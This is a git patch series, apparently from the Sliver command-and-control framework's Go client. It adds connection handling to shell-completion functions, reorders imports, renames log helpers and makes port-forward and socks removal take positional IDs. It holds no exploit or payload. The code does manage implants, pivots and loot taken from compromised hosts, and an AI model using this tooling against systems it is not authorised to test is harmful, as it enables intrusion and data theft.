+++ b/client/command/generate/profiles.go @@ -422,6 +422,10 @@ func PrintProfileInfo(name string, con *console.SliverClient) { // ProfileNameCompleter - Completer for implant build names. func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + var action carapace.Action pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index 9522bc4642..09c008b7f2 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -91,6 +91,10 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { // JobsIDCompleter completes jobs IDs with descriptions. func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { return carapace.ActionMessage("No active jobs") diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go index dd22b06216..93413efe42 100644 --- a/client/command/loot/commands.go +++ b/client/command/loot/commands.go @@ -1,14 +1,13 @@ package loot import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index 5f778da404..a3583b355b 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -21,12 +21,11 @@ package loot import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// LootFetchCmd - Display the contents of or download a piece of loot +// LootFetchCmd - Display the contents of or download a piece of loot. func LootFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { diff --git a/client/command/loot/helpers.go b/client/command/loot/helpers.go index 36ee5e87a9..7175979855 100644 --- a/client/command/loot/helpers.go +++ b/client/command/loot/helpers.go @@ -32,23 +32,22 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/spf13/cobra" ) var ( - // ErrInvalidFileType - Invalid file type + // ErrInvalidFileType - Invalid file type. ErrInvalidFileType = errors.New("invalid file type") - // ErrInvalidLootType - Invalid loot type + // ErrInvalidLootType - Invalid loot type. ErrInvalidLootType = errors.New("invalid loot type") - // ErrNoLootFileData - No loot file data + // ErrNoLootFileData - No loot file data. ErrNoLootFileData = errors.New("no loot file data") ) -// AddLootFile - Add a file as loot +// AddLootFile - Add a file as loot. func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error { if len(data) < 1 { return ErrNoLootFileData @@ -73,7 +72,7 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [ return err } -// SelectLoot - Interactive menu for the user to select a piece loot (all types) +// SelectLoot - Interactive menu for the user to select a piece loot (all types). func SelectLoot(cmd *cobra.Command, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { // Fetch data with optional filter var allLoot *clientpb.AllLoot diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 446a595f71..3e693062ae 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -25,14 +25,13 @@ import ( "path" "path/filepath" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// LootAddLocalCmd - Add a local file to the server as loot +// LootAddLocalCmd - Add a local file to the server as loot. func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { localPath := args[0] if _, err := os.Stat(localPath); os.IsNotExist(err) { diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index faf48d9fdb..686e3c5847 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -27,17 +27,16 @@ import ( "unicode/utf8" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// LootCmd - The loot root command +// LootCmd - The loot root command. func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{}) if err != nil { @@ -47,7 +46,7 @@ func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintAllFileLootTable(allLoot, con) } -// PrintAllFileLootTable - Displays a table of all file loot +// PrintAllFileLootTable - Displays a table of all file loot. func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) { if allLoot == nil || len(allLoot.Loot) == 0 { con.PrintInfof("No loot 🙁\n") @@ -76,7 +75,7 @@ func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) con.Printf("%s\n", tw.Render()) } -// PrintLootFile - Display the contents of a piece of loot +// PrintLootFile - Display the contents of a piece of loot. func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) { if loot.File == nil { return @@ -95,7 +94,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) { } } -// Any loot with a "File" can be saved to disk +// Any loot with a "File" can be saved to disk. func saveLootToDisk(cmd *cobra.Command, loot *clientpb.Loot) (string, error) { if loot.File == nil { return "", errors.New("loot does not contain a file") diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index 940fbc4f25..da4ee056ab 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -28,14 +28,13 @@ import ( "path/filepath" "strings" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType { @@ -53,7 +52,7 @@ func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileTy /* Eventually this function needs to be refactored out, but we made the decision to -duplicate it for now +duplicate it for now. */ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverClient) (*sliverpb.Download, error) { ctrl := make(chan bool) @@ -197,7 +196,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp } } -// LootAddRemoteCmd - Add a file from the remote system to the server as loot +// LootAddRemoteCmd - Add a file from the remote system to the server as loot. func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index 0666870d67..f664d9811e 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -22,13 +22,12 @@ import ( "context" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// LootRenameCmd - Rename a piece of loot +// LootRenameCmd - Rename a piece of loot. func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index 7377fba9d4..2e89c4df90 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -21,9 +21,8 @@ package loot import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go index 92a0b7db73..cd848b4b08 100644 --- a/client/command/pivots/commands.go +++ b/client/command/pivots/commands.go @@ -1,15 +1,14 @@ package pivots import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index c7ab12571b..0070221c49 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -22,15 +22,14 @@ import ( "context" "fmt" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// PivotDetailsCmd - Display pivots for all sessions +// PivotDetailsCmd - Display pivots for all sessions. func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -70,7 +69,7 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintPivotListenerDetails - Print details of a single pivot listener +// PrintPivotListenerDetails - Print details of a single pivot listener. func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverClient) { con.Printf("\n") con.Printf(" ID: %d\n", listener.ID) diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index 328043d0c6..8288a43680 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -68,6 +68,10 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive // PivotIDCompleter completes pivot listeners' IDs. func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 6487d08e4d..9f8d0cd419 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -21,13 +21,12 @@ package pivots import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// StopPivotListenerCmd - Start a TCP pivot listener on the remote system +// StopPivotListenerCmd - Start a TCP pivot listener on the remote system. func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 2970812d8b..5f428a09b8 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -80,6 +80,10 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags // PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{ diff --git a/client/command/server.go b/client/command/server.go index b76dc5a738..48af67eda9 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -48,7 +48,6 @@ import ( client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -207,18 +206,5 @@ func BindRunners(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ } else { cmd.PostRunE = cRun } - - // Completions use this pre-runner as well. - cmdComps := carapace.Gen(cmd) - - completionRun := func(c *cobra.Command, args []string) { - cRun(c, args) - } - - if pre { - cmdComps.PreRun(completionRun) - } else { - // cmdComps.PostRun(completionRun) - } } } diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 6cdf28cd49..33ce9f3f76 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -51,6 +51,10 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") @@ -116,6 +120,10 @@ func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { // BeaconPendingTasksCompleter completes pending tasks. func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") diff --git a/client/command/use/beacons.go b/client/command/use/beacons.go index 14328e8238..f7948351eb 100644 --- a/client/command/use/beacons.go +++ b/client/command/use/beacons.go @@ -19,13 +19,12 @@ package use */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// UseBeaconCmd - Change the active beacon +// UseBeaconCmd - Change the active beacon. func UseBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := beacons.SelectBeacon(con) if beacon != nil { diff --git a/client/command/use/commands.go b/client/command/use/commands.go index a8a0fe9177..c0ba8587e3 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -1,15 +1,14 @@ package use import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/use/sessions.go b/client/command/use/sessions.go index 3f8c8e64ee..dce1b81f4d 100644 --- a/client/command/use/sessions.go +++ b/client/command/use/sessions.go @@ -19,13 +19,12 @@ package use */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// UseSessionCmd - Change the active session +// UseSessionCmd - Change the active session. func UseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, err := sessions.SelectSession(false, con) if session != nil { diff --git a/client/command/use/use.go b/client/command/use/use.go index cae5a974ff..90cf0c36f9 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -28,18 +28,17 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) var ErrNoSelection = errors.New("no selection") -// UseCmd - Change the active session +// UseCmd - Change the active session. func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var session *clientpb.Session var beacon *clientpb.Beacon @@ -69,7 +68,7 @@ func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// SessionOrBeaconByID - Select a session or beacon by ID +// SessionOrBeaconByID - Select a session or beacon by ID. func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { @@ -94,7 +93,7 @@ func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Sessio return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id) } -// SelectSessionOrBeacon - Select a session or beacon +// SelectSessionOrBeacon - Select a session or beacon. func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { // Get and sort sessions sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) @@ -182,7 +181,7 @@ func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clien return nil, nil, nil } -// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids +// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids. func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action @@ -196,9 +195,13 @@ func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(comps) } -// SessionIDCompleter completes session IDs +// SessionIDCompleter completes session IDs. func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index e4f6918c59..012625007f 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -112,6 +112,10 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { // WebsiteNameCompleter completes the names of available websites. func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index bd3f3555cd..f5837a1dcc 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -68,6 +68,10 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string // PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{ diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index d2a88d5f00..8a061962bd 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -75,6 +75,10 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string // SocksIDCompleter IDs of WireGuard socks servers. func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{ diff --git a/client/console/console.go b/client/console/console.go index 8994f072ea..3601df4099 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -42,6 +42,7 @@ import ( "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" + "github.com/rsteube/carapace" "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/grpc" @@ -213,9 +214,29 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { con.startClientLog() } +// ConnectCompletion is a special connection mode which should be +// called in completer functions that need to use the client RPC. +// +// This function is safe to call regardless of the client being used +// as a closed-loop console mode or in an exec-once CLI mode. +func (con *SliverClient) ConnectCompletion() (carapace.Action, error) { + con.IsCompleting = true + + err := con.Teamclient.Connect() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), nil + } + + return carapace.ActionValues(), nil +} + +// Disconnect disconnectss the client from its Sliver server, +// closing all its event/log streams and files, then closing +// the core Sliver RPC client connection. +// After this call, the client can reconnect should it want to. func (con *SliverClient) Disconnect() error { // Close all RPC streams and local files. - con.CloseClientLog() + con.closeClientLogs() // Close the RPC client connection. return con.Teamclient.Disconnect() diff --git a/client/console/log.go b/client/console/log.go index 740074908a..9cc14b6c78 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -51,6 +51,16 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { return len(buf), err } +// ClientLogStream requires a log stream name, used to save the logs +// going through this stream in a specific log subdirectory/file. +func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { + stream, err := con.Rpc.ClientLog(context.Background()) + if err != nil { + return nil, err + } + return &ConsoleClientLogger{name: name, Stream: stream}, nil +} + func (con *SliverClient) startClientLog() error { if con.IsCompleting { return nil @@ -93,7 +103,7 @@ func (con *SliverClient) startClientLog() error { return nil } -func (con *SliverClient) CloseClientLog() { +func (con *SliverClient) closeClientLogs() { if con.closeLogs == nil { return } @@ -105,16 +115,6 @@ func (con *SliverClient) CloseClientLog() { con.closeLogs() } -// ClientLogStream requires a log stream name, used to save the logs -// going through this stream in a specific log subdirectory/file. -func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { - stream, err := con.Rpc.ClientLog(context.Background()) - if err != nil { - return nil, err - } - return &ConsoleClientLogger{name: name, Stream: stream}, nil -} - func (con *SliverClient) setupLogger(writers ...io.Writer) { logWriter := io.MultiWriter(writers...) jsonOptions := &slog.HandlerOptions{ @@ -126,16 +126,6 @@ func (con *SliverClient) setupLogger(writers ...io.Writer) { con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand) } -// logCommand logs non empty commands to the client log file. -func (con *SliverClient) logCommand(args []string) ([]string, error) { - if len(args) == 0 { - return args, nil - } - logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) - logger.Debug(strings.Join(args, " ")) - return args, nil -} - func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) error { width, height, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { @@ -167,6 +157,16 @@ func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer return nil } +// logCommand logs non empty commands to the client log file. +func (con *SliverClient) logCommand(args []string) ([]string, error) { + if len(args) == 0 { + return args, nil + } + logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) + logger.Debug(strings.Join(args, " ")) + return args, nil +} + func getConsoleLogFile() *os.File { logsDir := assets.GetConsoleLogsDir() dateTime := time.Now().Format("2006-01-02_15-04-05") From 4fa2c7a0a8148fd44cf4e27d91526a77125dbc30 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 25 Jul 2023 21:01:45 +0200 Subject: [PATCH 037/124] Specify socks/portforwarders IDs as arguments --- client/command/portfwd/commands.go | 11 ++++----- client/command/portfwd/portfwd-rm.go | 28 +++++++++++++-------- client/command/portfwd/portfwd.go | 6 +++-- client/command/rportfwd/commands.go | 10 +++----- client/command/rportfwd/portfwd-rm.go | 31 +++++++++++++++++------- client/command/rportfwd/portfwd.go | 6 +++-- client/command/socks/commands.go | 11 ++++----- client/command/socks/socks-stop.go | 35 +++++++++++++++++---------- client/command/socks/socks.go | 6 +++-- server/rpc/rpc-client-logs.go | 6 ++--- 10 files changed, 91 insertions(+), 59 deletions(-) diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go index 15c9b0a0b9..aeebf5484c 100644 --- a/client/command/portfwd/commands.go +++ b/client/command/portfwd/commands.go @@ -48,17 +48,16 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.RmStr, Short: "Remove a port forwarding tunnel", Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Args: cobra.MinimumNArgs(1), Run: func(cmd *cobra.Command, args []string) { PortfwdRmCmd(cmd, con, args) }, } + + rmComps := flags.NewCompletions(portfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + portfwdCmd.AddCommand(portfwdRmCmd) - flags.Bind("", false, portfwdRmCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of portfwd to remove") - }) - flags.BindFlagCompletions(portfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = PortfwdIDCompleter(con) - }) return []*cobra.Command{portfwdCmd} } diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index ab648b3f24..37d0ab7342 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -19,6 +19,8 @@ package portfwd */ import ( + "strconv" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/spf13/cobra" @@ -26,15 +28,21 @@ import ( // PortfwdRmCmd - Remove an existing tunneled port forward. func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - portfwdID, _ := cmd.Flags().GetInt("id") - if portfwdID < 1 { - con.PrintErrorf("Must specify a valid portfwd id\n") - return - } - found := core.Portfwds.Remove(portfwdID) - if !found { - con.PrintErrorf("No portfwd with id %d\n", portfwdID) - } else { - con.PrintInfof("Removed portfwd\n") + for _, arg := range args { + portfwdID, err := strconv.Atoi(arg) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + if portfwdID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + found := core.Portfwds.Remove(portfwdID) + if !found { + con.PrintErrorf("No portfwd with id %d\n", portfwdID) + } else { + con.PrintInfof("Removed portfwd\n") + } } } diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index b8daedfd39..712e975690 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -68,7 +68,7 @@ func PrintPortfwd(con *console.SliverClient) { // PortfwdIDCompleter completes IDs of local portforwarders. func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) portfwds := core.Portfwds.List() @@ -85,7 +85,9 @@ func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { return carapace.ActionMessage("no local port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go index 06a7b642a6..c213623cce 100644 --- a/client/command/rportfwd/commands.go +++ b/client/command/rportfwd/commands.go @@ -48,17 +48,15 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.RmStr, Short: "Stop and remove reverse port forwarding", Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Args: cobra.MinimumNArgs(1), Run: func(cmd *cobra.Command, args []string) { StopRportFwdListenerCmd(cmd, con, args) }, } + rmComps := flags.NewCompletions(rportfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + rportfwdCmd.AddCommand(rportfwdRmCmd) - flags.Bind("", false, rportfwdRmCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of portfwd to remove") - }) - flags.BindFlagCompletions(rportfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = PortfwdIDCompleter(con) - }) return []*cobra.Command{rportfwdCmd} } diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index ac428a7b9b..a801c1a5ff 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -20,6 +20,7 @@ package rportfwd import ( "context" + "strconv" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" @@ -33,16 +34,28 @@ func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args return } - listenerID, _ := cmd.Flags().GetUint32("id") - rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ - Request: con.ActiveTarget.Request(cmd), - ID: listenerID, - }) - if err != nil { - con.PrintWarnf("%s\n", err) - return + for _, arg := range args { + listenerID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + + if listenerID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ + Request: con.ActiveTarget.Request(cmd), + ID: uint32(listenerID), + }) + if err != nil { + con.PrintWarnf("%s\n", err) + return + } + + printStoppedRportFwdListener(rportfwdListener, con) } - printStoppedRportFwdListener(rportfwdListener, con) } func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 5f428a09b8..0f4d9b4d62 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -79,7 